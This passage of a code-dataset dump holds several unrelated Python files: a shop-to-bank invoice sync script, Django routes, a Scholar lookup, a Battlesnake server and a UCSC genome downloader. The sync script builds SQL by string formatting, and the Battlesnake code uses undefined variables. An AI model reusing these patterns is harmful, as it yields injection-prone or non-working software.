id_invoice = int(hasil[0])\n print(id_invoice)\n delete = \"delete from tb_integrasi where id_invoice=%s\" % (id_invoice)\n cursor_toko.execute(delete)\n cursor_bank.execute(delete)\n connect_toko.commit()\n connect_bank.commit()\n\n delete_bank = \"delete from tb_invoice where id_invoice=%s\" % (id_invoice)\n cursor_bank.execute(delete_bank)\n connect_bank.commit()\n print(\"TERDAPAT PENGHAPUSAN DATA pada db_bank.tb_invoice pada id_invoice = %s\" % id_invoice)\n\n select_transaksi = \"SELECT * FROM tb_invoice\"\n cursor_toko.execute(select_transaksi)\n data_toko = cursor_toko.fetchall()\n connect_toko.commit()\n\n for data in data_toko:\n id_invoice = int(data[0])\n\n total_transaksi = int(data[1])\n status = data[2]\n select = \"SELECT * FROM tb_integrasi WHERE id_invoice = %s\" % (id_invoice)\n cursor_toko.execute(select)\n data_integrasi_toko = cursor_toko.fetchone()\n jumlah = cursor_toko.rowcount\n\n connect_toko.commit()\n if jumlah == 0:\n insert = \"INSERT INTO tb_integrasi(id_invoice, total_transaksi, status) values(%s,%s,'%s')\" % (id_invoice, total_transaksi, status)\n cursor_toko.execute(insert)\n cursor_bank.execute(insert)\n connect_toko.commit()\n connect_bank.commit()\n\n insert_bank = \"INSERT INTO tb_invoice(id_invoice, total_transaksi, status) values(%s,%s,'%s')\" % (id_invoice, total_transaksi, status)\n cursor_bank.execute(insert_bank)\n connect_bank.commit()\n print(\"TERDAPAT PENAMBAHAN DATA PADA db_bank.tb_invoice. Pada id_invoice = %s, total_transaksi = %s, status = '%s'\" % (id_invoice, total_transaksi, status))\n\n else:\n id_invoice = data_integrasi_toko[0]\n status = data_integrasi_toko[2]\n\n if data[1] != data_integrasi_toko[1]:\n update_toko = \"UPDATE tb_integrasi SET total_transaksi = %s WHERE id_invoice= %s\" % (data[1], id_invoice)\n cursor_toko.execute(update_toko)\n cursor_bank.execute(update_toko)\n connect_toko.commit()\n connect_bank.commit()\n\n update_bank = \"UPDATE tb_invoice SET total_transaksi = %s WHERE id_invoice = %s\" % (data[1], id_invoice)\n cursor_bank.execute(update_bank)\n connect_bank.commit()\n print(\"TERDAPAT PERUBAHAN DATA pada id_invoice = %s\" % data[0])\n\n\ndef engineBank():\n select_data = \"SELECT id_invoice FROM tb_integrasi WHERE id_invoice NOT IN(SELECT id_invoice FROM tb_invoice)\"\n cursor_bank.execute(select_data)\n hasil_select_data = cursor_bank.fetchall()\n connect_bank.commit()\n\n select_bank = \"SELECT * FROM tb_invoice\"\n cursor_bank.execute(select_bank)\n data_bank = cursor_bank.fetchall()\n connect_bank.commit()\n\n for data in data_bank:\n id_invoice = int(data[0])\n total_transaksi = int(data[1])\n status = data[2]\n select = \"SELECT * FROM tb_integrasi WHERE id_invoice = %s\" % (id_invoice)\n cursor_bank.execute(select)\n data_integrasi_bank = cursor_bank.fetchone()\n jumlah = cursor_bank.rowcount\n connect_bank.commit()\n if jumlah != 0:\n id_invoice = data_integrasi_bank[0]\n status = data_integrasi_bank[2]\n\n if data[2] != data_integrasi_bank[2]:\n update_integrasi = \"UPDATE tb_integrasi SET status = '%s' WHERE id_invoice= %s\" % (data[2], id_invoice)\n cursor_toko.execute(update_integrasi)\n cursor_bank.execute(update_integrasi)\n connect_toko.commit()\n connect_bank.commit()\n\n update_toko = \"UPDATE tb_invoice SET status = '%s' WHERE id_invoice = %s\" % (data[2], id_invoice)\n cursor_toko.execute(update_toko)\n connect_toko.commit()\n print(\"TERDAPAT PERUBAHAN STATUS pada id_invoice = %s\" % data[0])\nwhile(1):\n # engineBank()\n engineToko()\n time.sleep(0.5)\n","sub_path":"engineModul1.py","file_name":"engineModul1.py","file_ext":"py","file_size_in_byte":4749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"463118170","text":"from django.conf.urls import patterns, include, url\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\nfrom django.views.generic import TemplateView\n\nfrom frontend.views import IndexView, AdCreateView, AdDetailView, AdCategoryDetailView, \\\n AdSpamCheckCreateView, AdCommentDetailView, CommentsCreateView\n\nurlpatterns = patterns('',\n url(r'^admin/', include(admin.site.urls)),\n\n url(r'^$', IndexView.as_view(), name='index'),\n url(r'^add/$', AdCreateView.as_view(), name='add'),\n url(r'^picker/$', TemplateView.as_view(template_name='picker.html'), name='picker'),\n url(r'^(?P\\d+)/$', AdCommentDetailView.as_view(), name='ad_comments'),\n url(r'^ad_check_spam/$', AdSpamCheckCreateView.as_view(), name='ad_check_spam'),\n url(r'^ad_comment/$', CommentsCreateView.as_view(), name='ad_comment_create'),\n url(r'^(?P[-_\\w]+)/$', AdCategoryDetailView.as_view(), name='category'),\n)\n","sub_path":"pokatuhi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"226136852","text":"from scholarly import scholarly\nimport pprint\n# import models\n\n\n# DOCS - https://pypi.org/project/scholarly/\n\ndef get_pubs_titles(author_name):\n\n # Retrieve the author's data, fill-in, and print\n search_query = scholarly.search_author(author_name)\n author = next(search_query).fill()\n return ([pub.bib['title'] for pub in author.publications])\n\ndef get_gs_data(titles):\n\n for title in titles:\n\n\n search_query = scholarly.search_pubs(title)\n info = next(search_query)\n\n # ------------ ADD ALL INFO TO DB ------------\n cites = info.bib['cites']\n title = info.bib['title']\n # url = info.bib['url']\n # year = info.bib['year']\n authors = info.bib['author'] # => List of all authors\n # abstract = info.bib['abstract']\n print(f'{title}->{cites}')\n # search_query = scholarly.search_pubs()\n # author = next(search_query)\n # print(author)\n\n\n# pubs_titles = get_pubs_titles('Shilpa Sonawani')\n#\n#\n# get_gs_data(pubs_titles)\n\n# # Retrieve the author's data, fill-in, and print\n# search_query = scholarly.search_pubs('Network intrusion detection using dynamic fuzzy c means clustering')\n# author = next(search_query)\n# print(author.bib['author'])\n#\n\n\n# Print the titles of the author's publications\n# print([pub.bib['title'] for pub in author.publications])\n\n\n# search_query = scholarly.search_author('Shilpa Sonawani')\n# print(next(search_query))\n#\n# # Print the titles of the author's publications\n# print([pub.bib['title'] for pub in author.publications])\n#\n# # Take a closer look at the first publication\n# pub = author.publications[0].fill()\n# print(pub)\n#\n# # Which papers cited that publication?\n# print([citation.bib['title'] for citation in pub.citedby])\n","sub_path":"publications_api/scholarly_api.py","file_name":"scholarly_api.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"561955935","text":"import json\nimport os\nimport random\nimport math\n\nimport bottle\nfrom bottle import HTTPResponse\n\n\n@bottle.route(\"/\")\ndef index():\n return \"Your Battlesnake is alive!\"\n\n\n@bottle.post(\"/ping\")\ndef ping():\n \"\"\"\n Used by the Battlesnake Engine to make sure your snake is still working.\n \"\"\"\n return HTTPResponse(status=200)\n\n\n@bottle.post(\"/start\")\ndef start():\n \"\"\"\n Called every time a new Battlesnake game starts and your snake is in it.\n Your response will control how your snake is displayed on the board.\n \"\"\"\n data = bottle.request.json\n print(\"START:\", json.dumps(data))\n\n response = {\"color\": \"#009999\", \"headType\": \"sand-worm\", \"tailType\": \"bwc-bonhomme\"}\n return HTTPResponse(\n status=200,\n headers={\"Content-Type\": \"application/json\"},\n body=json.dumps(response),\n )\n\n\n@bottle.post(\"/move\")\ndef move():\n \"\"\"\n Called when the Battlesnake Engine needs to know your next move.\n The data parameter will contain information about the board.\n Your response must include your move of up, down, left, or right.\n \"\"\"\n data = bottle.request.json\n print(\"MOVE:\", json.dumps(data))\n working_data = sort_it(data)\n move = decision_tree(working_data)\n final_move = collision(move)\n\n # Shouts are messages sent to all the other snakes in the game.\n # Shouts are not displayed on the game board.\n shout = \"PyGod!\"\n\n response = {\"move\": final_move, \"shout\": shout}\n return HTTPResponse(\n status=200,\n headers={\"Content-Type\": \"application/json\"},\n body=json.dumps(response),\n )\n\n\n@bottle.post(\"/end\")\ndef end():\n \"\"\"\n Called every time a game with your snake in it ends.\n \"\"\"\n data = bottle.request.json\n print(\"END:\", json.dumps(data))\n return HTTPResponse(status=200)\n\n\ndef main():\n bottle.run(\n application,\n host=os.getenv(\"IP\", \"0.0.0.0\"),\n port=os.getenv(\"PORT\", \"8080\"),\n debug=os.getenv(\"DEBUG\", True),\n )\ndef decision_tree(in_put):\n nfl,nel = in_put\n for i in range(0,len(nel)):\n if nfl[i][1] < nel[0][1]:\n choice = move_to(nfl[i][0])\n break\n elif nfl[i][1] > nel[0][1]:\n choice = move_away(nel[i][1])\n break\n elif nfl[i][1] == nel[0][1]:\n choice = evade_move()\n break\n else:\n pass\n return choice\ndef move_to(location):\n if (location[0][\"x\"] - me[0][\"x\"]) > (location[0][\"y\"] - me[0][\"y\"]):\n if location[0][\"x\"] > me[0][\"x\"]:\n return \"up\"\n elif location[0][\"x\"] < me[0][\"x\"]:\n return \"down\"\n elif (location[0][\"x\"] - me[0][\"x\"]) <= (location[0][\"y\"] - me[0][\"y\"]):\n if location[0][\"y\"] > me[0][\"y\"]:\n return \"left\"\n elif location[0][\"y\"] < me[0][\"y\"]:\n return \"right\"\n\ndef move_away(location):\n if (location[0][\"x\"] - me[0][\"x\"]) > (location[0][\"y\"] - me[0][\"y\"]):\n if location[0][\"x\"] > me[0][\"x\"]:\n return \"down\"\n elif location[0][\"x\"] < me[0][\"x\"]:\n return \"up\"\n elif (location[0][\"x\"] - me[0][\"x\"]) <= (location[0][\"y\"] - me[0][\"y\"]):\n if location[0][\"y\"] > me[0][\"y\"]:\n return \"right\"\n elif location[0][\"y\"] < me[0][\"y\"]:\n return \"left\"\n\ndef evade_move():\n directions = [\"up\", \"down\", \"left\", \"right\"]\n move = random.choice(directions)\n return move\n\ndef collision(move):\n me_rn = me\n#Get new position\n if move == \"right\":\n me_rn[0][\"x\"] = (me_rn[0][\"x\"] + 1)\n elif move == \"left\":\n me_rn[0][\"x\"] = (me_rn[0][\"x\"] - 1)\n elif move == \"up\":\n me_rn[0][\"y\"] = (me_rn[0][\"y\"] + 1)\n elif move == \"down\":\n me_rn[0][\"y\"] = (me_rn[0][\"y\"] - 1)\n#evalute new position\n if (me_rn > height or me_rn == 0):\n move = evade_move()\n elif (me_rn > height or me_rn == 0):\n move = evade_move()\n for snake in enemy:\n for segment in snake[body]:\n if me_rn == segment:\n move = evade_move()\n return move\n\n\ndef get_distance(coord1,coord2): \n print(coord1,type(coord1))\n print(coord2,type(coord2))\n return (abs(coord1[\"x\"]-coord2[\"x\"]) + abs(coord1[\"y\"]-coord2[\"y\"]))\n\ndef sort_it(data):\n #state = json.loads(data.text)\n state = data\n game = state[\"game\"][\"id\"]\n height = state[\"board\"][\"height\"]\n width = state[\"board\"][\"width\"]\n turn = state[\"turn\"]\n food = state[\"board\"][\"food\"]\n enemy = state[\"board\"][\"snakes\"]\n me = state[\"you\"][\"body\"]\n food_distance = []\n for morsel in food:\n dist = get_distance(morsel,me[0])\n food_distance.append([morsel,dist])\n enemy_distance = []\n for npc in enemy:\n dist = get_distance(npc[\"body\"][0],me[0])\n enemy_distance.append([npc,npc[\"id\"],dist])\n nearest_food_list = sorted(food_distance, key=lambda food: food[1])\n neartest_enemy_list = sorted(enemy_distance, key=lambda enemy: enemy[2])\n return nearest_food_list,neartest_enemy_list\n\n# Expose WSGI app (so gunicorn can find it)\napplication = bottle.default_app()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"app/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"212455512","text":"import json\n\ndef update(sicris_data, date_prefix=''):\n with open('../data/sicris.json', 'w', encoding='utf-8') as fout:\n json.dump(sicris_data, fout, indent=2, sort_keys=True, ensure_ascii=False)\n if date_prefix:\n with open(f'../data/updates/{date_prefix}_sicris.json', 'w', encoding='utf-8') as fout:\n json.dump(sicris_data, fout, indent=2, sort_keys=True, ensure_ascii=False)\n\ndef get():\n with open('../data/sicris.json', 'rt', encoding='utf-8') as fin:\n sicris_data = json.load(fin)\n return sicris_data\n","sub_path":"scripts/sicris.py","file_name":"sicris.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"12129196","text":"# Copyright (C) 2019 by\n# Luca Cappelletti \n#\n# All rights reserved.\n# MIT license.\n\"\"\" Class to automatically retrieve informations and sequences for a Genome from the UCSC Genome Browser assembly database.\"\"\"\n\nimport json\nimport os\nimport shutil\nimport dateparser\nimport pandas as pd\nimport warnings\nfrom math import ceil\nfrom datetime import datetime\nfrom tqdm.auto import tqdm\nfrom multiprocessing import Pool, cpu_count\nfrom typing import Dict, List, Generator\nfrom .utils import get_available_genomes, get_available_chromosomes, get_chromosome, get_genome_informations, is_chromosome_available_online\nfrom .utils import multiprocessing_gaps, multiprocessing_extract_sequences\n\n\nclass Genome:\n \"\"\"Class to automatically retrieve informations and sequences for a Genome from the UCSC Genome Browser assembly database.\n\n Usage examples\n --------------\n\n Simply instanziate a new genome\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n .. code:: python\n\n from ucsc_genomes_downloader import Genome\n hg19 = Genome(\"hg19\")\n\n Downloading lazily a genome\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n .. code:: python\n\n from ucsc_genomes_downloader import Genome\n sacCer3 = Genome(\"sacCer3\")\n chrM = sacCer3[\"chrM\"] # Downloads and returns mitochondrial genome\n\n Downloading eagerly a genome\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n .. code:: python\n\n from ucsc_genomes_downloader import Genome\n sacCer3 = Genome(\"sacCer3\", lazy_download=False)\n\n Loading eagerly a genome\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n .. code:: python\n\n from ucsc_genomes_downloader import Genome\n sacCer3 = Genome(\"sacCer3\", lazy_load=False)\n\n Testing if a genome is cached\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n .. code:: python\n\n if hg19.is_cached():\n print(\"Genome is cached!\")\n\n Removing genome's cache\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n .. code:: python\n\n hg19.delete()\n\n\n \"\"\"\n\n def __init__(\n self,\n assembly: str,\n unknown_chromosomes: bool = False,\n random_chromosomes: bool = False,\n haplotype_chromosomes: bool = False,\n alternative_chromosomes: bool = False,\n fixed_chromosomes: bool = False,\n mitochondrial_genome: bool = True,\n lazy_load: bool = True,\n lazy_download: bool = True,\n verbose: bool = True,\n leave_loading_bars: bool = False,\n clear_cache: bool = False,\n enable_cache: bool = True,\n warning: bool = True,\n cache_directory: str = None,\n cache_directory_environment_variable: str = \"UCSC_GENOMES_CACHE_PATH\"\n ):\n \"\"\"Instantiate a new Genome object.\n\n Parameters\n ----------\n assembly: str,\n UCSC Genome Browser assembly ID for required genome [1]_.\n unknown_chromosomes: bool = False,\n Whetever to download or not chromosomes containing\n clone contigs that cannot be confidently placed on\n a specific chromosome [1]_.\n random_chromosomes: bool = False,\n Whetever to download or not data related to sequence\n that is known to be in a particular chromosome,\n but could not be reliably ordered within the current sequence [1]_.\n haplotype_chromosomes: bool = False,\n Whetever to download or not data related to sequence\n for alternative haplotypes [1]_.\n alternative_chromosomes: bool = False,\n Whetever to download or not alternative sequences\n that differ from the reference genome currently\n available for a few assemblies including danRer11, hg19, and hg38 [1]_.\n fixed_chromosomes: bool = False,\n Whetever to download or not fix patches currently\n available for the hg19 and hg38 assemblies\n that represent changes to the existing sequence [1]_.\n mitochondrial_genome: bool = True,\n Whetever to download or not the mitocondial genome [2]_.\n A warning is raised if the mitochondrial genome is required\n but none is available for the specified genome.\n lazy_load: bool = True,\n Whetever to lazily load chromosomes as they are required (lazy_load=True) or\n to retrieve them immediately (lazy_load=False).\n lazy_download: bool = True,\n Whetever to lazily download chromosomes as they are required (lazy_download=True) or\n to retrieve them immediately (lazy_download=False). Only available when cache is enabled.\n verbose: bool = True,\n Whetever to show a loading bar when retrieving chromosomes.\n leave_loading_bars: bool = False,\n Whetever to leave or not the loading bars after loading is complete.\n clear_cache: bool = False,\n Whetever to clear cache or not before retrieving chromosomes.\n enable_cache: bool = True,\n Whetever to store data to and load data from given cache directory.\n warning: bool = True,\n Whetever to raise warning when corner cases are detected.\n cache_directory: str = \"genomes\",\n Position where to store the downloaded genomes.\n cache_directory_environment_variable: str = \"UCSC_GENOMES_CACHE_PATH\",\n Environment variable where to check if a system-wide directory has\n been specified.\n\n Raises\n ------\n ValueError:\n If the given genome cannot be retrieved either from the given\n cache directory or from the UCSC website [3]_.\n ValueError:\n If the given genome, once the filters have been applied,\n does not contain any chromosome.\n\n Returns\n -------\n A newly instantiated Genome object.\n\n References\n ----------\n .. [1] https://genome.ucsc.edu/FAQ/FAQdownloads.html\n .. [2] https://en.wikipedia.org/wiki/Mitochondrial_DNA\n .. [3] http://hgdownload.soe.ucsc.edu/downloads.html\n \"\"\"\n\n self._chromosomes_lenghts = None\n self._genome_informations = None\n self._warning = warning\n self._verbose = verbose\n self._leave_loading_bars = leave_loading_bars\n self._assembly = assembly\n self._enable_cache = enable_cache\n\n # Checking if a system wide cache directory\n # has been specified\n if cache_directory is None:\n try:\n cache_directory = os.environ[cache_directory_environment_variable]\n except KeyError:\n cache_directory = \"genomes\"\n\n self._cache_directory = \"{cache_directory}/{assembly}\".format(\n cache_directory=cache_directory,\n assembly=self.assembly\n )\n\n # If required delete cache\n if clear_cache:\n self.delete()\n\n # If cache is enabled and a directory for the genome\n # exists within the cache we try to load the genome data\n if enable_cache and self.is_cached():\n self._genome_informations = self._load_genome_informations()\n self._chromosomes_lenghts = self._load_chromosomes()\n # Otherwise we check if the genome is available\n elif self.assembly not in get_available_genomes():\n # If the genome is not available we raise a proper exception\n raise ValueError(\n \"Given genome {assembly} is not within the avalable genomes.\".format(\n assembly=self.assembly\n ))\n\n # Download genome informations if list is not already loaded\n if self._genome_informations is None:\n self._genome_informations = get_genome_informations(self.assembly)\n # If cache is enabled we store the obtained genome informations\n self._store_genome_informations()\n\n # Download chromosomes if list is not already loaded\n if self._chromosomes_lenghts is None:\n self._chromosomes_lenghts = get_available_chromosomes(\n self.assembly)\n # If cache is enabled we store the obtained chromosomes lenghts\n self._store_chromosomes()\n\n filters = [\n target\n for target, enabled in {\n \"chru\": unknown_chromosomes,\n \"scaffold\": unknown_chromosomes,\n \"contig\": unknown_chromosomes,\n \"super\": unknown_chromosomes,\n \"chrbin\": unknown_chromosomes,\n \"random\": random_chromosomes,\n \"hap\": haplotype_chromosomes,\n \"alt\": alternative_chromosomes,\n \"fix\": fixed_chromosomes,\n \"chrm\": mitochondrial_genome\n }.items()\n if not enabled\n ]\n\n # Filtering chromosomes\n self._chromosomes = {\n chromosome: None\n for chromosome in tqdm(\n self._chromosomes_lenghts,\n disable=not verbose,\n leave=leave_loading_bars,\n desc=\"Filtering chromosomes for the genome {assembly}\".format(\n assembly=self.assembly\n )\n )\n if all(target not in chromosome.lower() for target in filters) and (\n unknown_chromosomes or\n chromosome.lower().startswith(\"chr\")\n ) and self.is_chromosome_available(chromosome)\n }\n\n # If no chromosome remains after filtering,\n # for instance when the raw data are not yet mapped\n # we raise a userwarning\n if len(self) == 0:\n raise ValueError(\n \"No chromosome remaining in chosen genome {assembly}\"\n \"after executing desired filters\"\n \"and checking for online availability\".format(\n assembly=self.assembly)\n )\n\n # If lazy downloading is disabled\n # we immediately proceed to download\n # all the required chromosomes.\n if not lazy_download:\n self.download()\n\n # If lazy loading is disabled\n # we immediately proceed to load\n # all the required chromosomes.\n if not lazy_load:\n self.load()\n\n def is_cached(self) -> bool:\n \"\"\"Return boolean representing if a cache directory already exists for current genome.\"\"\"\n return os.path.exists(self._cache_directory)\n\n def _genome_informations_path(self) -> str:\n \"\"\"Return path for the JSON file with current genome informations.\"\"\"\n return \"{cache_directory}/genome_informations.json\".format(\n cache_directory=self._cache_directory\n )\n\n def _load_genome_informations(self) -> Dict:\n \"\"\"Return a dictionary with genome informations if available.\n\n Raises\n ------\n RuntimeWarning:\n If genome informations are not available\n locally.\n \"\"\"\n try:\n with open(self._genome_informations_path(), \"r\") as f:\n return json.load(f)\n except Exception:\n if self._warning:\n warnings.warn(\n \"Failed to load genome {genome} informations. \"\n \"I will try to download them again afterwards.\".format(\n genome=self.assembly\n ),\n RuntimeWarning\n )\n return None\n\n def _store_genome_informations(self):\n \"\"\"Store genome informations into default cache directory.\"\"\"\n os.makedirs(self._cache_directory, exist_ok=True)\n with open(self._genome_informations_path(), \"w\") as f:\n json.dump(self._genome_informations, f, indent=4)\n\n def _chromosomes_path(self) -> str:\n \"\"\"Return path to default chromosomes informations.\"\"\"\n return \"{cache_directory}/chromosomes.json\".format(\n cache_directory=self._cache_directory\n )\n\n def _load_chromosomes(self) -> Dict:\n \"\"\"Return a dictionary with genome chromosomes if available.\n\n Raises\n ------\n RuntimeWarning:\n If genome chromosomes are not available\n locally.\n \"\"\"\n try:\n with open(self._chromosomes_path(), \"r\") as f:\n return json.load(f)\n except Exception:\n if self._warning:\n warnings.warn(\n \"Failed to load chromosomes for genome {genome}. \"\n \"I will try to download them again afterwards.\".format(\n genome=self.assembly\n ),\n RuntimeWarning\n )\n return None\n\n def _store_chromosomes(self):\n \"\"\"Store chromosomes informations into default cache directory.\"\"\"\n os.makedirs(self._cache_directory, exist_ok=True)\n with open(self._chromosomes_path(), \"w\") as f:\n json.dump(self._chromosomes_lenghts, f, indent=4)\n\n def _gaps_path(self) -> str:\n \"\"\"Return path to default gaps informations.\"\"\"\n return \"{cache_directory}/gaps.bed.gz\".format(\n cache_directory=self._cache_directory\n )\n\n def _load_gaps(self) -> pd.DataFrame:\n \"\"\"Return a DataFrame with genome gaps.\"\"\"\n return pd.read_csv(self._gaps_path(), sep=\"\\t\")\n\n def _store_gaps(self, gaps: pd.DataFrame):\n \"\"\"Store gaps informations into default cache directory.\"\"\"\n os.makedirs(self._cache_directory, exist_ok=True)\n gaps.to_csv(self._gaps_path(), sep=\"\\t\", index=False)\n\n def _chromosome_path(self, chromosome: str) -> str:\n \"\"\"Return path to the given chromosome.\n\n Parameters\n ----------\n chromosome: str,\n The chromosome identifier, such as chr1, chrX, chrM...\n \"\"\"\n return \"{cache_directory}/chromosomes/{chromosome}.json\".format(\n cache_directory=self._cache_directory,\n chromosome=chromosome\n )\n\n def _load_chromosome(self, chromosome: str) -> str:\n \"\"\"Return the nucleotides sequence for the given chromosome.\n Parameters\n ----------\n chromosome: str,\n The chromosome identifier, such as chr1, chrX, chrM...\n\n Raises\n ------\n RuntimeWarning:\n If given chromosome are not available locally.\n \"\"\"\n try:\n if self.is_chromosome_cached(chromosome):\n with open(self._chromosome_path(chromosome), \"r\") as f:\n return json.load(f)[\"dna\"]\n except Exception:\n if self._warning:\n warnings.warn(\n \"Failed to load chromosome {chromosome} for genome {genome}. \"\n \"I will try to download them again afterwards.\".format(\n chromosome=chromosome,\n genome=self.assembly\n ),\n RuntimeWarning\n )\n return None\n\n def download(self):\n \"\"\"Download all the genome's chromosomes.\"\"\"\n chromosomes = [\n chromosome\n for chromosome in self\n if not self.is_chromosome_cached(chromosome)\n ]\n for chromosome in tqdm(\n chromosomes,\n desc=\"Downloading chromosomes for genome {assembly}\".format(\n assembly=self.assembly\n ),\n total=len(chromosomes),\n disable=not self._verbose,\n dynamic_ncols=True,\n leave=self._leave_loading_bars\n ):\n self._download_chromosome(chromosome)\n\n def delete(self):\n \"\"\"Remove the genome cache.\"\"\"\n if os.path.exists(self._cache_directory):\n shutil.rmtree(self._cache_directory)\n\n def _download_chromosome(self, chromosome: str) -> str:\n \"\"\"Download and return the nucleotides sequence for the given chromosome.\n\n Parameters\n ----------\n chromosome: str,\n The chromosome identifier, such as chr1, chrX, chrM...\n\n Returns\n -------\n The nucleotide sequence for the given chromosomes.\n \"\"\"\n chromosome_data = get_chromosome(\n self.assembly,\n chromosome,\n 0,\n self._chromosomes_lenghts[chromosome]\n )\n if self._enable_cache:\n path = self._chromosome_path(chromosome)\n os.makedirs(os.path.dirname(path), exist_ok=True)\n with open(path, \"w\") as f:\n json.dump(chromosome_data, f)\n return chromosome_data[\"dna\"]\n\n def load(self):\n \"\"\"Load into memory all the genome's chromosomes, downloading them when necessary.\"\"\"\n for chromosome in tqdm(\n self,\n desc=\"Loading chromosomes for genome {assembly}\".format(\n assembly=self.assembly\n ),\n total=len(self),\n disable=not self._verbose,\n dynamic_ncols=True,\n leave=self._leave_loading_bars\n ):\n self[chromosome]\n\n def __len__(self) -> int:\n \"\"\"Return the number of chromosomes in current genome.\"\"\"\n return len(self._chromosomes)\n\n def __contains__(self, chromosome: str) -> bool:\n \"\"\"Return boolean representing if given chromosome is contained in current genome.\n\n Parameters\n ----------\n chromosome: str,\n The chromosome identifier, such as chr1, chrX, chrM...\n\n Returns\n -------\n Boolean representing if given chromosome is contained in current genome.\n \"\"\"\n return chromosome in self._chromosomes\n\n def __getitem__(self, chromosome: str):\n \"\"\"Return sequence data for given chromosome.\n\n Parameters\n ----------\n chromosome: str,\n The chromosome identifier, such as chr1, chrX, chrM...\n\n Returns\n -------\n String containing sequence data for given chromosome.\n \"\"\"\n if self._chromosomes[chromosome] is None and self._enable_cache:\n self._chromosomes[chromosome] = self._load_chromosome(\n chromosome\n )\n if self._chromosomes[chromosome] is None:\n self._chromosomes[chromosome] = self._download_chromosome(\n chromosome\n )\n return self._chromosomes[chromosome]\n\n def items(self) -> Generator:\n \"\"\"Return generator to iterate through tuples of chromosomes and corresponding sequences.\"\"\"\n for chromosome in self:\n yield chromosome, self[chromosome]\n\n def __iter__(self) -> Generator:\n \"\"\"Return generator to iterate through the genome's chromosomes.\"\"\"\n for chromosome in self._chromosomes:\n yield chromosome\n\n def is_chromosome_available(self, chromosome: str) -> bool:\n \"\"\"Return boolean representing if given chromosome is available either locally or online.\n\n Parameters\n ----------\n chromosome: str,\n The chromosome identifier, such as chr1, chrX, chrM...\n\n Returns\n -------\n Boolean representing if given chromosome is available either locally or online.\n \"\"\"\n return self.is_chromosome_cached(chromosome) or self.is_chromosome_online(chromosome)\n\n def is_chromosome_cached(self, chromosome: str) -> bool:\n \"\"\"Return a boolean representing if given chromosome is cached.\n\n Parameters\n ----------\n chromosome: str,\n The chromosome identifier, such as chr1, chrX, chrM...\n\n Returns\n -------\n Boolean representing if given chromosome is available locally.\n \"\"\"\n return os.path.exists(self._chromosome_path(chromosome))\n\n def is_chromosome_online(self, chromosome: str) -> bool:\n \"\"\"Return a boolean representing if given chromosome is available through JSON APIs.\n\n Parameters\n ----------\n chromosome: str,\n The chromosome identifier, such as chr1, chrX, chrM...\n\n Raises\n ------\n UserWarning:\n If given chromosome is not available online.\n\n Returns\n -------\n Boolean representing if given chromosome is available online.\n \"\"\"\n return is_chromosome_available_online(self.assembly, chromosome)\n\n def __str__(self):\n \"\"\"Return string representation of current genome.\"\"\"\n return \"{organism}, {scientific_name}, {genome}, {date}, {chromosomes} chromosomes\".format(\n organism=self.organism,\n scientific_name=self.scientific_name,\n genome=self.assembly,\n date=self.date,\n chromosomes=len(self)\n )\n\n __repr__ = __str__\n\n def gaps(self):\n \"\"\"Return dataframe in BED format with informations on the gaps.\n\n FAQs\n ----\n Why don't you just retrieve the gaps from the APIs?\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n The gaps track is not always available, therefore for providing a consistent\n usage experience we compute the gaps when required. Additionally, this method\n will work also when you make an offline request, that may sometimes be quite\n useful.\n\n Returns\n -------\n A DataFrame in BED format.\n \"\"\"\n if os.path.exists(self._gaps_path()):\n return self._load_gaps()\n with Pool(min(cpu_count(), len(self))) as p:\n gaps = pd.concat(list(tqdm(\n p.imap(multiprocessing_gaps, self.items()),\n total=len(self),\n desc=\"Rendering gaps in {assembly}\".format(\n assembly=self.assembly,\n leave=self._leave_loading_bars\n ),\n disable=not self._verbose\n )))\n p.close()\n p.join()\n self._store_gaps(gaps)\n return gaps\n\n def filled(self):\n \"\"\"Return dataframe with BED-like columns with informations on the gaps.\"\"\"\n non_gap = []\n gapped_chromosomes = []\n for chrom, values in self.gaps().groupby(\"chrom\"):\n # We need to sort by the chromStart\n # as we will need the rows to be ordered\n # to be able to generate the complementary windows\n values = values.sort_values([\"chromStart\"])\n non_gap_values = pd.DataFrame({\n \"chrom\": chrom,\n \"chromStart\": values[\"chromEnd\"][:-1].values,\n \"chromEnd\": values[\"chromStart\"][1:].values,\n })\n\n # If the chromosome lenght is not contained\n # within the various chromEnd values it means that\n # the final part of the chromosome is known\n # and therefore considered filled.\n # We need to add this additional row.\n chromosome_lenght = self._chromosomes_lenghts[chrom]\n if values.chromEnd.isin([chromosome_lenght]).any():\n non_gap_values = non_gap_values.append({\n \"chrom\": chrom,\n \"chromStart\": values.chromEnd.max(),\n \"chromEnd\": chromosome_lenght\n }, ignore_index=True)\n\n # If the chromosome start, the 0 value,\n # is not contained within the various chromStart values\n # it means that the initial part of the chromosome\n # is known and therefore considered filled.\n # We need to add this additional row.\n if values.chromStart.isin([0]).any():\n non_gap_values = non_gap_values.append({\n \"chrom\": chrom,\n \"chromStart\": 0,\n \"chromEnd\": values.chromStart.min(),\n }, ignore_index=True)\n\n non_gap.append(non_gap_values)\n gapped_chromosomes.append(chrom)\n\n # When a chromosome does not appear to have\n # any gap is considered fully filled\n non_gap.append(pd.DataFrame([\n {\n \"chrom\": chrom,\n \"chromStart\": 0,\n \"chromEnd\": self._chromosomes_lenghts[chrom]\n } for chrom in self if chrom not in gapped_chromosomes\n ]))\n return 